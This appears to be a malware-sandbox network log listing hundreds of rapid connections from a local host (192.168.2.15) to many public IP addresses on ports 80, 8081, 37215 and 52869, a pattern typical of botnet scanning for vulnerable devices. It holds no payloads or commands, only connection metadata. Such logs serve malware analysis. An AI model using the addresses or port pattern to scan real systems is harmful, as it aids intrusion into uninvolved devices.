Jul 20, 2024 23:10:39.925777912 CEST	50848	8081	192.168.2.15	64.52.71.132
Jul 20, 2024 23:10:39.925777912 CEST	50848	8081	192.168.2.15	64.52.71.132
Jul 20, 2024 23:10:39.926462889 CEST	52869	44534	203.39.100.182	192.168.2.15
Jul 20, 2024 23:10:39.926470041 CEST	55858	37215	192.168.2.15	41.91.198.123
Jul 20, 2024 23:10:39.926619053 CEST	44534	52869	192.168.2.15	203.39.100.182
Jul 20, 2024 23:10:39.929425001 CEST	8081	52846	9.112.0.108	192.168.2.15
Jul 20, 2024 23:10:39.929445028 CEST	80	44074	88.110.66.57	192.168.2.15
Jul 20, 2024 23:10:39.930845976 CEST	33452	80	192.168.2.15	88.160.211.242
Jul 20, 2024 23:10:39.930845976 CEST	33452	80	192.168.2.15	88.160.211.242
Jul 20, 2024 23:10:39.931297064 CEST	51798	8081	192.168.2.15	64.52.71.132
Jul 20, 2024 23:10:39.931842089 CEST	60064	52869	192.168.2.15	206.49.109.215
Jul 20, 2024 23:10:39.931842089 CEST	60064	52869	192.168.2.15	206.49.109.215
Jul 20, 2024 23:10:39.935412884 CEST	80	38450	88.206.157.252	192.168.2.15
Jul 20, 2024 23:10:39.935460091 CEST	38450	80	192.168.2.15	88.206.157.252
Jul 20, 2024 23:10:39.935621977 CEST	34542	80	192.168.2.15	88.160.211.242
Jul 20, 2024 23:10:39.936636925 CEST	36772	8081	192.168.2.15	139.20.180.119
Jul 20, 2024 23:10:39.936636925 CEST	36772	8081	192.168.2.15	139.20.180.119
Jul 20, 2024 23:10:39.937212944 CEST	52869	54014	116.118.210.76	192.168.2.15
Jul 20, 2024 23:10:39.937495947 CEST	8081	50848	64.52.71.132	192.168.2.15
Jul 20, 2024 23:10:39.938363075 CEST	37215	55858	41.91.198.123	192.168.2.15
Jul 20, 2024 23:10:39.938368082 CEST	49330	37215	192.168.2.15	164.17.49.215
Jul 20, 2024 23:10:39.938405037 CEST	55858	37215	192.168.2.15	41.91.198.123
Jul 20, 2024 23:10:39.938715935 CEST	80	33452	88.160.211.242	192.168.2.15
Jul 20, 2024 23:10:39.938965082 CEST	8081	51798	64.52.71.132	192.168.2.15
Jul 20, 2024 23:10:39.939017057 CEST	51798	8081	192.168.2.15	64.52.71.132
Jul 20, 2024 23:10:39.939109087 CEST	52869	60064	206.49.109.215	192.168.2.15
Jul 20, 2024 23:10:39.939490080 CEST	37720	8081	192.168.2.15	139.20.180.119
Jul 20, 2024 23:10:39.939671993 CEST	60874	52869	192.168.2.15	206.49.109.215
Jul 20, 2024 23:10:39.940762997 CEST	80	34542	88.160.211.242	192.168.2.15
Jul 20, 2024 23:10:39.940831900 CEST	34542	80	192.168.2.15	88.160.211.242
Jul 20, 2024 23:10:39.941008091 CEST	40606	80	192.168.2.15	88.174.33.120
Jul 20, 2024 23:10:39.941008091 CEST	40606	80	192.168.2.15	88.174.33.120
Jul 20, 2024 23:10:39.941337109 CEST	8081	41650	144.250.77.69	192.168.2.15
Jul 20, 2024 23:10:39.941369057 CEST	80	38346	88.110.50.174	192.168.2.15
Jul 20, 2024 23:10:39.942290068 CEST	8081	36772	139.20.180.119	192.168.2.15
Jul 20, 2024 23:10:39.943608999 CEST	37215	49330	164.17.49.215	192.168.2.15
Jul 20, 2024 23:10:39.943653107 CEST	49330	37215	192.168.2.15	164.17.49.215
Jul 20, 2024 23:10:39.945187092 CEST	42448	8081	192.168.2.15	212.35.10.142
Jul 20, 2024 23:10:39.945187092 CEST	42448	8081	192.168.2.15	212.35.10.142
Jul 20, 2024 23:10:39.949007034 CEST	41696	80	192.168.2.15	88.174.33.120
Jul 20, 2024 23:10:39.951364994 CEST	34274	37215	192.168.2.15	157.70.57.191
Jul 20, 2024 23:10:39.953651905 CEST	43396	8081	192.168.2.15	212.35.10.142
Jul 20, 2024 23:10:39.955060005 CEST	42578	52869	192.168.2.15	187.182.235.57
Jul 20, 2024 23:10:39.955060005 CEST	42578	52869	192.168.2.15	187.182.235.57
Jul 20, 2024 23:10:39.957153082 CEST	51596	80	192.168.2.15	88.70.91.27
Jul 20, 2024 23:10:39.957153082 CEST	51596	80	192.168.2.15	88.70.91.27
Jul 20, 2024 23:10:39.961297035 CEST	57236	8081	192.168.2.15	98.32.247.128
Jul 20, 2024 23:10:39.961297989 CEST	57236	8081	192.168.2.15	98.32.247.128
Jul 20, 2024 23:10:39.961694956 CEST	40606	80	192.168.2.15	88.174.33.120
Jul 20, 2024 23:10:39.963797092 CEST	52684	80	192.168.2.15	88.70.91.27
Jul 20, 2024 23:10:39.964785099 CEST	58182	8081	192.168.2.15	98.32.247.128
Jul 20, 2024 23:10:39.965006113 CEST	43394	52869	192.168.2.15	187.182.235.57
Jul 20, 2024 23:10:39.965349913 CEST	39404	37215	192.168.2.15	128.242.117.249
Jul 20, 2024 23:10:39.965682983 CEST	42448	8081	192.168.2.15	212.35.10.142
Jul 20, 2024 23:10:39.970671892 CEST	51394	80	192.168.2.15	88.166.84.21
Jul 20, 2024 23:10:39.970671892 CEST	51394	80	192.168.2.15	88.166.84.21
Jul 20, 2024 23:10:39.971316099 CEST	47498	8081	192.168.2.15	79.84.60.251
Jul 20, 2024 23:10:39.971317053 CEST	47498	8081	192.168.2.15	79.84.60.251
Jul 20, 2024 23:10:39.975845098 CEST	52482	80	192.168.2.15	88.166.84.21
Jul 20, 2024 23:10:39.976187944 CEST	48444	8081	192.168.2.15	79.84.60.251
Jul 20, 2024 23:10:39.976696968 CEST	53954	52869	192.168.2.15	203.62.78.235
Jul 20, 2024 23:10:39.976696968 CEST	53954	52869	192.168.2.15	203.62.78.235
Jul 20, 2024 23:10:39.977135897 CEST	47874	37215	192.168.2.15	41.8.250.84
Jul 20, 2024 23:10:39.977679014 CEST	51596	80	192.168.2.15	88.70.91.27
Jul 20, 2024 23:10:39.981404066 CEST	50218	80	192.168.2.15	88.80.210.128
Jul 20, 2024 23:10:39.981404066 CEST	50218	80	192.168.2.15	88.80.210.128
Jul 20, 2024 23:10:39.981709003 CEST	42578	52869	192.168.2.15	187.182.235.57
Jul 20, 2024 23:10:39.981709003 CEST	38690	8081	192.168.2.15	124.113.55.225
Jul 20, 2024 23:10:39.981709003 CEST	38690	8081	192.168.2.15	124.113.55.225
Jul 20, 2024 23:10:39.984232903 CEST	39632	8081	192.168.2.15	124.113.55.225
Jul 20, 2024 23:10:39.984503031 CEST	54778	52869	192.168.2.15	203.62.78.235
Jul 20, 2024 23:10:39.985622883 CEST	51308	80	192.168.2.15	88.80.210.128
Jul 20, 2024 23:10:39.985696077 CEST	57236	8081	192.168.2.15	98.32.247.128
Jul 20, 2024 23:10:39.988611937 CEST	36006	37215	192.168.2.15	64.161.87.250
Jul 20, 2024 23:10:39.991966963 CEST	43330	8081	192.168.2.15	104.127.16.83
Jul 20, 2024 23:10:39.991966963 CEST	43330	8081	192.168.2.15	104.127.16.83
Jul 20, 2024 23:10:39.993309021 CEST	41034	80	192.168.2.15	88.83.51.96
Jul 20, 2024 23:10:39.993309021 CEST	41034	80	192.168.2.15	88.83.51.96
Jul 20, 2024 23:10:39.993694067 CEST	47498	8081	192.168.2.15	79.84.60.251
Jul 20, 2024 23:10:39.993694067 CEST	51394	80	192.168.2.15	88.166.84.21
Jul 20, 2024 23:10:39.995352030 CEST	44272	8081	192.168.2.15	104.127.16.83
Jul 20, 2024 23:10:39.996006966 CEST	57284	52869	192.168.2.15	64.61.109.158
Jul 20, 2024 23:10:39.996007919 CEST	57284	52869	192.168.2.15	64.61.109.158
Jul 20, 2024 23:10:39.997698069 CEST	53954	52869	192.168.2.15	203.62.78.235
Jul 20, 2024 23:10:39.998085022 CEST	42124	80	192.168.2.15	88.83.51.96
Jul 20, 2024 23:10:39.999567986 CEST	42998	37215	192.168.2.15	41.225.135.170
Jul 20, 2024 23:10:40.001876116 CEST	53590	8081	192.168.2.15	193.51.219.44
Jul 20, 2024 23:10:40.001876116 CEST	53590	8081	192.168.2.15	193.51.219.44
Jul 20, 2024 23:10:40.005099058 CEST	36874	80	192.168.2.15	88.131.52.117
Jul 20, 2024 23:10:40.005099058 CEST	36874	80	192.168.2.15	88.131.52.117
Jul 20, 2024 23:10:40.005691051 CEST	50218	80	192.168.2.15	88.80.210.128
Jul 20, 2024 23:10:40.005808115 CEST	38690	8081	192.168.2.15	124.113.55.225
Jul 20, 2024 23:10:40.005884886 CEST	54530	8081	192.168.2.15	193.51.219.44
Jul 20, 2024 23:10:40.005892038 CEST	58114	52869	192.168.2.15	64.61.109.158
Jul 20, 2024 23:10:40.010149002 CEST	37964	80	192.168.2.15	88.131.52.117
Jul 20, 2024 23:10:40.010818005 CEST	45256	8081	192.168.2.15	95.67.212.64
Jul 20, 2024 23:10:40.010818005 CEST	45256	8081	192.168.2.15	95.67.212.64
Jul 20, 2024 23:10:40.011504889 CEST	47708	37215	192.168.2.15	157.162.123.109
Jul 20, 2024 23:10:40.013972044 CEST	43330	8081	192.168.2.15	104.127.16.83
Jul 20, 2024 23:10:40.016931057 CEST	51740	80	192.168.2.15	88.43.49.250
Jul 20, 2024 23:10:40.016931057 CEST	51740	80	192.168.2.15	88.43.49.250
Jul 20, 2024 23:10:40.017061949 CEST	46196	8081	192.168.2.15	95.67.212.64
Jul 20, 2024 23:10:40.017555952 CEST	37910	52869	192.168.2.15	90.4.66.163
Jul 20, 2024 23:10:40.017555952 CEST	37910	52869	192.168.2.15	90.4.66.163
Jul 20, 2024 23:10:40.021692038 CEST	41034	80	192.168.2.15	88.83.51.96
Jul 20, 2024 23:10:40.023488045 CEST	52828	80	192.168.2.15	88.43.49.250
Jul 20, 2024 23:10:40.023861885 CEST	40410	8081	192.168.2.15	31.8.205.246
Jul 20, 2024 23:10:40.023861885 CEST	40410	8081	192.168.2.15	31.8.205.246
Jul 20, 2024 23:10:40.024607897 CEST	34744	37215	192.168.2.15	41.238.31.136
Jul 20, 2024 23:10:40.025764942 CEST	53590	8081	192.168.2.15	193.51.219.44
Jul 20, 2024 23:10:40.025765896 CEST	57284	52869	192.168.2.15	64.61.109.158
Jul 20, 2024 23:10:40.025815964 CEST	41348	8081	192.168.2.15	31.8.205.246
Jul 20, 2024 23:10:40.026247025 CEST	38748	52869	192.168.2.15	90.4.66.163
Jul 20, 2024 23:10:40.030576944 CEST	36874	80	192.168.2.15	88.131.52.117
Jul 20, 2024 23:10:40.031294107 CEST	50840	80	192.168.2.15	88.97.87.84
Jul 20, 2024 23:10:40.031294107 CEST	50840	80	192.168.2.15	88.97.87.84
Jul 20, 2024 23:10:40.037513018 CEST	57618	8081	192.168.2.15	93.134.175.245
Jul 20, 2024 23:10:40.037513971 CEST	57618	8081	192.168.2.15	93.134.175.245
Jul 20, 2024 23:10:40.037684917 CEST	45256	8081	192.168.2.15	95.67.212.64
Jul 20, 2024 23:10:40.037684917 CEST	51740	80	192.168.2.15	88.43.49.250
Jul 20, 2024 23:10:40.040657997 CEST	51928	80	192.168.2.15	88.97.87.84
Jul 20, 2024 23:10:40.041163921 CEST	55772	37215	192.168.2.15	157.136.199.255
Jul 20, 2024 23:10:40.041682959 CEST	37910	52869	192.168.2.15	90.4.66.163
Jul 20, 2024 23:10:40.042345047 CEST	58556	8081	192.168.2.15	93.134.175.245
Jul 20, 2024 23:10:40.042746067 CEST	55586	52869	192.168.2.15	126.171.98.117
Jul 20, 2024 23:10:40.042746067 CEST	55586	52869	192.168.2.15	126.171.98.117
Jul 20, 2024 23:10:40.043598890 CEST	54398	80	192.168.2.15	88.115.2.250
Jul 20, 2024 23:10:40.043600082 CEST	54398	80	192.168.2.15	88.115.2.250
Jul 20, 2024 23:10:40.045006990 CEST	34462	8081	192.168.2.15	59.64.211.16
Jul 20, 2024 23:10:40.045006990 CEST	34462	8081	192.168.2.15	59.64.211.16
Jul 20, 2024 23:10:40.045696020 CEST	40410	8081	192.168.2.15	31.8.205.246
Jul 20, 2024 23:10:40.046370983 CEST	55484	80	192.168.2.15	88.115.2.250
Jul 20, 2024 23:10:40.046658039 CEST	35398	8081	192.168.2.15	59.64.211.16
Jul 20, 2024 23:10:40.046868086 CEST	56428	52869	192.168.2.15	126.171.98.117
Jul 20, 2024 23:10:40.047023058 CEST	45996	37215	192.168.2.15	41.95.14.253
Jul 20, 2024 23:10:40.049722910 CEST	52432	80	192.168.2.15	88.53.212.206
Jul 20, 2024 23:10:40.049722910 CEST	52432	80	192.168.2.15	88.53.212.206
Jul 20, 2024 23:10:40.050415039 CEST	32992	8081	192.168.2.15	158.32.146.168
Jul 20, 2024 23:10:40.050415039 CEST	32992	8081	192.168.2.15	158.32.146.168
Jul 20, 2024 23:10:40.053745985 CEST	50840	80	192.168.2.15	88.97.87.84
Jul 20, 2024 23:10:40.053755045 CEST	53518	80	192.168.2.15	88.53.212.206
Jul 20, 2024 23:10:40.054019928 CEST	33930	8081	192.168.2.15	158.32.146.168
Jul 20, 2024 23:10:40.054753065 CEST	49796	52869	192.168.2.15	151.94.173.235
Jul 20, 2024 23:10:40.054753065 CEST	49796	52869	192.168.2.15	151.94.173.235
Jul 20, 2024 23:10:40.055130005 CEST	40936	37215	192.168.2.15	144.85.64.233
Jul 20, 2024 23:10:40.057099104 CEST	33292	80	192.168.2.15	88.14.192.250
Jul 20, 2024 23:10:40.057099104 CEST	33292	80	192.168.2.15	88.14.192.250
Jul 20, 2024 23:10:40.057591915 CEST	47906	8081	192.168.2.15	151.208.135.249
Jul 20, 2024 23:10:40.057591915 CEST	47906	8081	192.168.2.15	151.208.135.249
Jul 20, 2024 23:10:40.057694912 CEST	57618	8081	192.168.2.15	93.134.175.245
Jul 20, 2024 23:10:40.058540106 CEST	48822	8081	192.168.2.15	151.208.135.249
Jul 20, 2024 23:10:40.058692932 CEST	50644	52869	192.168.2.15	151.94.173.235
Jul 20, 2024 23:10:40.059340954 CEST	34380	80	192.168.2.15	88.14.192.250
Jul 20, 2024 23:10:40.060317039 CEST	51210	37215	192.168.2.15	211.150.213.32
Jul 20, 2024 23:10:40.061511040 CEST	38634	8081	192.168.2.15	193.73.82.86
Jul 20, 2024 23:10:40.061511040 CEST	38634	8081	192.168.2.15	193.73.82.86
Jul 20, 2024 23:10:40.062602997 CEST	45520	80	192.168.2.15	88.203.15.239
Jul 20, 2024 23:10:40.062602997 CEST	45520	80	192.168.2.15	88.203.15.239
Jul 20, 2024 23:10:40.064768076 CEST	39552	8081	192.168.2.15	193.73.82.86
Jul 20, 2024 23:10:40.065143108 CEST	47514	52869	192.168.2.15	169.249.196.201
Jul 20, 2024 23:10:40.065143108 CEST	47514	52869	192.168.2.15	169.249.196.201
Jul 20, 2024 23:10:40.065845966 CEST	46606	80	192.168.2.15	88.203.15.239
Jul 20, 2024 23:10:40.066596031 CEST	43080	37215	192.168.2.15	133.236.123.161
Jul 20, 2024 23:10:40.067475080 CEST	46142	8081	192.168.2.15	42.75.70.65
Jul 20, 2024 23:10:40.067665100 CEST	46142	8081	192.168.2.15	42.75.70.65
Jul 20, 2024 23:10:40.068677902 CEST	56752	80	192.168.2.15	88.17.190.109
Jul 20, 2024 23:10:40.068677902 CEST	56752	80	192.168.2.15	88.17.190.109
Jul 20, 2024 23:10:40.068989992 CEST	47062	8081	192.168.2.15	42.75.70.65
Jul 20, 2024 23:10:40.069303989 CEST	48368	52869	192.168.2.15	169.249.196.201
Jul 20, 2024 23:10:40.069820881 CEST	34462	8081	192.168.2.15	59.64.211.16
Jul 20, 2024 23:10:40.072027922 CEST	57840	80	192.168.2.15	88.17.190.109
Jul 20, 2024 23:10:40.072455883 CEST	60478	8081	192.168.2.15	60.13.47.181
Jul 20, 2024 23:10:40.072455883 CEST	60478	8081	192.168.2.15	60.13.47.181
Jul 20, 2024 23:10:40.073187113 CEST	47126	37215	192.168.2.15	197.224.162.113
Jul 20, 2024 23:10:40.073693037 CEST	54398	80	192.168.2.15	88.115.2.250
Jul 20, 2024 23:10:40.073695898 CEST	32992	8081	192.168.2.15	158.32.146.168
Jul 20, 2024 23:10:40.073695898 CEST	55586	52869	192.168.2.15	126.171.98.117
Jul 20, 2024 23:10:40.073766947 CEST	52432	80	192.168.2.15	88.53.212.206
Jul 20, 2024 23:10:40.076562881 CEST	55976	80	192.168.2.15	88.190.112.126
Jul 20, 2024 23:10:40.076562881 CEST	55976	80	192.168.2.15	88.190.112.126
Jul 20, 2024 23:10:40.076739073 CEST	33168	8081	192.168.2.15	60.13.47.181
Jul 20, 2024 23:10:40.077099085 CEST	48858	52869	192.168.2.15	210.2.46.1
Jul 20, 2024 23:10:40.077394009 CEST	48858	52869	192.168.2.15	210.2.46.1
Jul 20, 2024 23:10:40.077696085 CEST	49796	52869	192.168.2.15	151.94.173.235
Jul 20, 2024 23:10:40.077703953 CEST	47906	8081	192.168.2.15	151.208.135.249
Jul 20, 2024 23:10:40.079267979 CEST	57062	80	192.168.2.15	88.190.112.126
Jul 20, 2024 23:10:40.079631090 CEST	42060	8081	192.168.2.15	101.27.114.183
Jul 20, 2024 23:10:40.079631090 CEST	42060	8081	192.168.2.15	101.27.114.183
Jul 20, 2024 23:10:40.080240965 CEST	49402	37215	192.168.2.15	197.181.244.208
Jul 20, 2024 23:10:40.081298113 CEST	42984	8081	192.168.2.15	101.27.114.183
Jul 20, 2024 23:10:40.081698895 CEST	33292	80	192.168.2.15	88.14.192.250
Jul 20, 2024 23:10:40.081715107 CEST	49720	52869	192.168.2.15	210.2.46.1
Jul 20, 2024 23:10:40.081715107 CEST	38634	8081	192.168.2.15	193.73.82.86
Jul 20, 2024 23:10:40.082312107 CEST	46364	80	192.168.2.15	88.84.71.81
Jul 20, 2024 23:10:40.082312107 CEST	46364	80	192.168.2.15	88.84.71.81
Jul 20, 2024 23:10:40.084011078 CEST	46422	8081	192.168.2.15	191.77.173.179
Jul 20, 2024 23:10:40.084011078 CEST	46422	8081	192.168.2.15	191.77.173.179
Jul 20, 2024 23:10:40.085016966 CEST	47450	80	192.168.2.15	88.84.71.81
Jul 20, 2024 23:10:40.085659027 CEST	39514	37215	192.168.2.15	197.226.228.189
Jul 20, 2024 23:10:40.085757017 CEST	47514	52869	192.168.2.15	169.249.196.201
Jul 20, 2024 23:10:40.086483955 CEST	47348	8081	192.168.2.15	191.77.173.179
Jul 20, 2024 23:10:40.086760044 CEST	58502	52869	192.168.2.15	32.52.148.97
Jul 20, 2024 23:10:40.086760044 CEST	58502	52869	192.168.2.15	32.52.148.97
Jul 20, 2024 23:10:40.087619066 CEST	57496	80	192.168.2.15	88.7.110.43
Jul 20, 2024 23:10:40.087619066 CEST	57496	80	192.168.2.15	88.7.110.43
Jul 20, 2024 23:10:40.089466095 CEST	48766	8081	192.168.2.15	129.96.11.55
Jul 20, 2024 23:10:40.089466095 CEST	48766	8081	192.168.2.15	129.96.11.55
Jul 20, 2024 23:10:40.089684963 CEST	45520	80	192.168.2.15	88.203.15.239
Jul 20, 2024 23:10:40.089685917 CEST	46142	8081	192.168.2.15	42.75.70.65
Jul 20, 2024 23:10:40.090821981 CEST	58580	80	192.168.2.15	88.7.110.43
Jul 20, 2024 23:10:40.091258049 CEST	49692	8081	192.168.2.15	129.96.11.55
Jul 20, 2024 23:10:40.091381073 CEST	59368	52869	192.168.2.15	32.52.148.97
Jul 20, 2024 23:10:40.092367887 CEST	58524	37215	192.168.2.15	157.61.187.214
Jul 20, 2024 23:10:40.093415976 CEST	41316	80	192.168.2.15	88.105.34.41
Jul 20, 2024 23:10:40.093415976 CEST	41316	80	192.168.2.15	88.105.34.41
Jul 20, 2024 23:10:40.093760014 CEST	60478	8081	192.168.2.15	60.13.47.181
Jul 20, 2024 23:10:40.093766928 CEST	52796	8081	192.168.2.15	196.239.70.8
Jul 20, 2024 23:10:40.093766928 CEST	52796	8081	192.168.2.15	196.239.70.8
Jul 20, 2024 23:10:40.097682953 CEST	56752	80	192.168.2.15	88.17.190.109
Jul 20, 2024 23:10:40.097738981 CEST	42400	80	192.168.2.15	88.105.34.41
Jul 20, 2024 23:10:40.098097086 CEST	53724	8081	192.168.2.15	196.239.70.8
Jul 20, 2024 23:10:40.098434925 CEST	54092	52869	192.168.2.15	13.3.106.56
Jul 20, 2024 23:10:40.098623037 CEST	33364	37215	192.168.2.15	157.231.228.120
Jul 20, 2024 23:10:40.098881006 CEST	54092	52869	192.168.2.15	13.3.106.56
Jul 20, 2024 23:10:40.100812912 CEST	46686	80	192.168.2.15	88.208.60.45
Jul 20, 2024 23:10:40.100812912 CEST	46686	80	192.168.2.15	88.208.60.45
Jul 20, 2024 23:10:40.100914955 CEST	38786	8081	192.168.2.15	38.56.107.193
Jul 20, 2024 23:10:40.100914955 CEST	38786	8081	192.168.2.15	38.56.107.193
Jul 20, 2024 23:10:40.101686001 CEST	42060	8081	192.168.2.15	101.27.114.183
Jul 20, 2024 23:10:40.101717949 CEST	48858	52869	192.168.2.15	210.2.46.1
Jul 20, 2024 23:10:40.103395939 CEST	39714	8081	192.168.2.15	38.56.107.193
Jul 20, 2024 23:10:40.103574991 CEST	54964	52869	192.168.2.15	13.3.106.56
Jul 20, 2024 23:10:40.104867935 CEST	47772	80	192.168.2.15	88.208.60.45
Jul 20, 2024 23:10:40.105695009 CEST	46422	8081	192.168.2.15	191.77.173.179
Jul 20, 2024 23:10:40.105714083 CEST	40162	37215	192.168.2.15	41.140.181.240
Jul 20, 2024 23:10:40.105801105 CEST	55976	80	192.168.2.15	88.190.112.126
Jul 20, 2024 23:10:40.105802059 CEST	46364	80	192.168.2.15	88.84.71.81
Jul 20, 2024 23:10:40.107304096 CEST	57468	8081	192.168.2.15	53.134.227.78
Jul 20, 2024 23:10:40.107304096 CEST	57468	8081	192.168.2.15	53.134.227.78
Jul 20, 2024 23:10:40.108325005 CEST	46400	80	192.168.2.15	88.117.202.28
Jul 20, 2024 23:10:40.108325958 CEST	46400	80	192.168.2.15	88.117.202.28
Jul 20, 2024 23:10:40.109694958 CEST	48766	8081	192.168.2.15	129.96.11.55
Jul 20, 2024 23:10:40.109704971 CEST	58502	52869	192.168.2.15	32.52.148.97
Jul 20, 2024 23:10:40.110141039 CEST	39414	52869	192.168.2.15	133.58.253.32
Jul 20, 2024 23:10:40.110141039 CEST	39414	52869	192.168.2.15	133.58.253.32
Jul 20, 2024 23:10:40.110321999 CEST	58396	8081	192.168.2.15	53.134.227.78
Jul 20, 2024 23:10:40.111172915 CEST	47484	80	192.168.2.15	88.117.202.28
Jul 20, 2024 23:10:40.112463951 CEST	33750	37215	192.168.2.15	157.88.156.88
Jul 20, 2024 23:10:40.113549948 CEST	59664	8081	192.168.2.15	103.141.108.85
Jul 20, 2024 23:10:40.113550901 CEST	59664	8081	192.168.2.15	103.141.108.85
Jul 20, 2024 23:10:40.114954948 CEST	39232	80	192.168.2.15	88.192.255.224
Jul 20, 2024 23:10:40.114954948 CEST	39232	80	192.168.2.15	88.192.255.224
Jul 20, 2024 23:10:40.115483999 CEST	60592	8081	192.168.2.15	103.141.108.85
Jul 20, 2024 23:10:40.115911007 CEST	40292	52869	192.168.2.15	133.58.253.32
Jul 20, 2024 23:10:40.117690086 CEST	57496	80	192.168.2.15	88.7.110.43
Jul 20, 2024 23:10:40.117700100 CEST	41316	80	192.168.2.15	88.105.34.41
Jul 20, 2024 23:10:40.118961096 CEST	40316	80	192.168.2.15	88.192.255.224
Jul 20, 2024 23:10:40.119501114 CEST	39460	8081	192.168.2.15	188.77.70.4
Jul 20, 2024 23:10:40.119501114 CEST	39460	8081	192.168.2.15	188.77.70.4
Jul 20, 2024 23:10:40.119749069 CEST	37442	37215	192.168.2.15	41.103.136.234
Jul 20, 2024 23:10:40.121687889 CEST	38786	8081	192.168.2.15	38.56.107.193
Jul 20, 2024 23:10:40.121690035 CEST	52796	8081	192.168.2.15	196.239.70.8
Jul 20, 2024 23:10:40.121691942 CEST	42224	8081	192.168.2.15	213.200.213.234
Jul 20, 2024 23:10:40.121691942 CEST	36054	80	192.168.2.15	88.8.102.154
Jul 20, 2024 23:10:40.121691942 CEST	54092	52869	192.168.2.15	13.3.106.56
Jul 20, 2024 23:10:40.121721029 CEST	46686	80	192.168.2.15	88.208.60.45
Jul 20, 2024 23:10:40.123358965 CEST	53282	80	192.168.2.15	88.166.76.121
Jul 20, 2024 23:10:40.123358965 CEST	53282	80	192.168.2.15	88.166.76.121
Jul 20, 2024 23:10:40.123620033 CEST	40388	8081	192.168.2.15	188.77.70.4
Jul 20, 2024 23:10:40.123838902 CEST	51758	52869	192.168.2.15	65.211.208.187
Jul 20, 2024 23:10:40.123838902 CEST	51758	52869	192.168.2.15	65.211.208.187
Jul 20, 2024 23:10:40.127077103 CEST	54366	80	192.168.2.15	88.166.76.121
Jul 20, 2024 23:10:40.127521038 CEST	37816	8081	192.168.2.15	209.233.239.62
Jul 20, 2024 23:10:40.127521992 CEST	37816	8081	192.168.2.15	209.233.239.62
Jul 20, 2024 23:10:40.127794027 CEST	35480	37215	192.168.2.15	41.177.116.18
Jul 20, 2024 23:10:40.128684998 CEST	38744	8081	192.168.2.15	209.233.239.62
Jul 20, 2024 23:10:40.129133940 CEST	52644	52869	192.168.2.15	65.211.208.187
Jul 20, 2024 23:10:40.129702091 CEST	43734	52869	192.168.2.15	203.39.100.182
Jul 20, 2024 23:10:40.129946947 CEST	41534	80	192.168.2.15	88.139.130.203
Jul 20, 2024 23:10:40.129946947 CEST	41534	80	192.168.2.15	88.139.130.203
Jul 20, 2024 23:10:40.132255077 CEST	54870	8081	192.168.2.15	24.230.85.184
Jul 20, 2024 23:10:40.132255077 CEST	54870	8081	192.168.2.15	24.230.85.184
Jul 20, 2024 23:10:40.133332968 CEST	42618	80	192.168.2.15	88.139.130.203
Jul 20, 2024 23:10:40.133687973 CEST	37358	80	192.168.2.15	88.206.157.252
Jul 20, 2024 23:10:40.133714914 CEST	55136	8081	192.168.2.15	130.64.237.83
Jul 20, 2024 23:10:40.133714914 CEST	39414	52869	192.168.2.15	133.58.253.32
Jul 20, 2024 23:10:40.134265900 CEST	52952	37215	192.168.2.15	116.138.138.226
Jul 20, 2024 23:10:40.135934114 CEST	55798	8081	192.168.2.15	24.230.85.184
Jul 20, 2024 23:10:40.136332035 CEST	48182	52869	192.168.2.15	109.51.3.47
Jul 20, 2024 23:10:40.136332035 CEST	48182	52869	192.168.2.15	109.51.3.47
Jul 20, 2024 23:10:40.137001991 CEST	54012	80	192.168.2.15	88.239.107.91
Jul 20, 2024 23:10:40.137001991 CEST	54012	80	192.168.2.15	88.239.107.91
Jul 20, 2024 23:10:40.137689114 CEST	59664	8081	192.168.2.15	103.141.108.85
Jul 20, 2024 23:10:40.137693882 CEST	57468	8081	192.168.2.15	53.134.227.78
Jul 20, 2024 23:10:40.139163017 CEST	41428	8081	192.168.2.15	65.144.4.91
Jul 20, 2024 23:10:40.139163971 CEST	41428	8081	192.168.2.15	65.144.4.91
Jul 20, 2024 23:10:40.140224934 CEST	55094	80	192.168.2.15	88.239.107.91
Jul 20, 2024 23:10:40.140629053 CEST	42354	8081	192.168.2.15	65.144.4.91
Jul 20, 2024 23:10:40.140739918 CEST	49072	52869	192.168.2.15	109.51.3.47
Jul 20, 2024 23:10:40.140887022 CEST	40044	37215	192.168.2.15	157.89.121.43
Jul 20, 2024 23:10:40.141690969 CEST	39232	80	192.168.2.15	88.192.255.224
Jul 20, 2024 23:10:40.141700029 CEST	46400	80	192.168.2.15	88.117.202.28
Jul 20, 2024 23:10:40.144453049 CEST	39870	80	192.168.2.15	88.206.166.4
Jul 20, 2024 23:10:40.144453049 CEST	39870	80	192.168.2.15	88.206.166.4
Jul 20, 2024 23:10:40.144745111 CEST	46486	8081	192.168.2.15	120.75.38.85
Jul 20, 2024 23:10:40.144745111 CEST	46486	8081	192.168.2.15	120.75.38.85
Jul 20, 2024 23:10:40.145690918 CEST	39460	8081	192.168.2.15	188.77.70.4
Jul 20, 2024 23:10:40.147907972 CEST	40952	80	192.168.2.15	88.206.166.4
Jul 20, 2024 23:10:40.148627996 CEST	47412	8081	192.168.2.15	120.75.38.85
Jul 20, 2024 23:10:40.148951054 CEST	47828	52869	192.168.2.15	96.224.29.242
Jul 20, 2024 23:10:40.148951054 CEST	47828	52869	192.168.2.15	96.224.29.242
Jul 20, 2024 23:10:40.149312973 CEST	56918	37215	192.168.2.15	117.238.162.201
Jul 20, 2024 23:10:40.149679899 CEST	50848	8081	192.168.2.15	64.52.71.132
Jul 20, 2024 23:10:40.149681091 CEST	53282	80	192.168.2.15	88.166.76.121
Jul 20, 2024 23:10:40.149692059 CEST	51758	52869	192.168.2.15	65.211.208.187
Jul 20, 2024 23:10:40.149693966 CEST	33452	80	192.168.2.15	88.160.211.242
Jul 20, 2024 23:10:40.149872065 CEST	60064	52869	192.168.2.15	206.49.109.215
Jul 20, 2024 23:10:40.151599884 CEST	33120	80	192.168.2.15	88.131.16.171
Jul 20, 2024 23:10:40.151599884 CEST	33120	80	192.168.2.15	88.131.16.171
Jul 20, 2024 23:10:40.151932955 CEST	44964	8081	192.168.2.15	116.99.52.164
Jul 20, 2024 23:10:40.151932955 CEST	44964	8081	192.168.2.15	116.99.52.164
Jul 20, 2024 23:10:40.153685093 CEST	37816	8081	192.168.2.15	209.233.239.62
Jul 20, 2024 23:10:40.153696060 CEST	54870	8081	192.168.2.15	24.230.85.184
Jul 20, 2024 23:10:40.153860092 CEST	45888	8081	192.168.2.15	116.99.52.164
Jul 20, 2024 23:10:40.154391050 CEST	48724	52869	192.168.2.15	96.224.29.242
Jul 20, 2024 23:10:40.155396938 CEST	34204	80	192.168.2.15	88.131.16.171
Jul 20, 2024 23:10:40.156758070 CEST	52952	80	192.168.2.15	88.107.11.25
Jul 20, 2024 23:10:40.156758070 CEST	52952	80	192.168.2.15	88.107.11.25
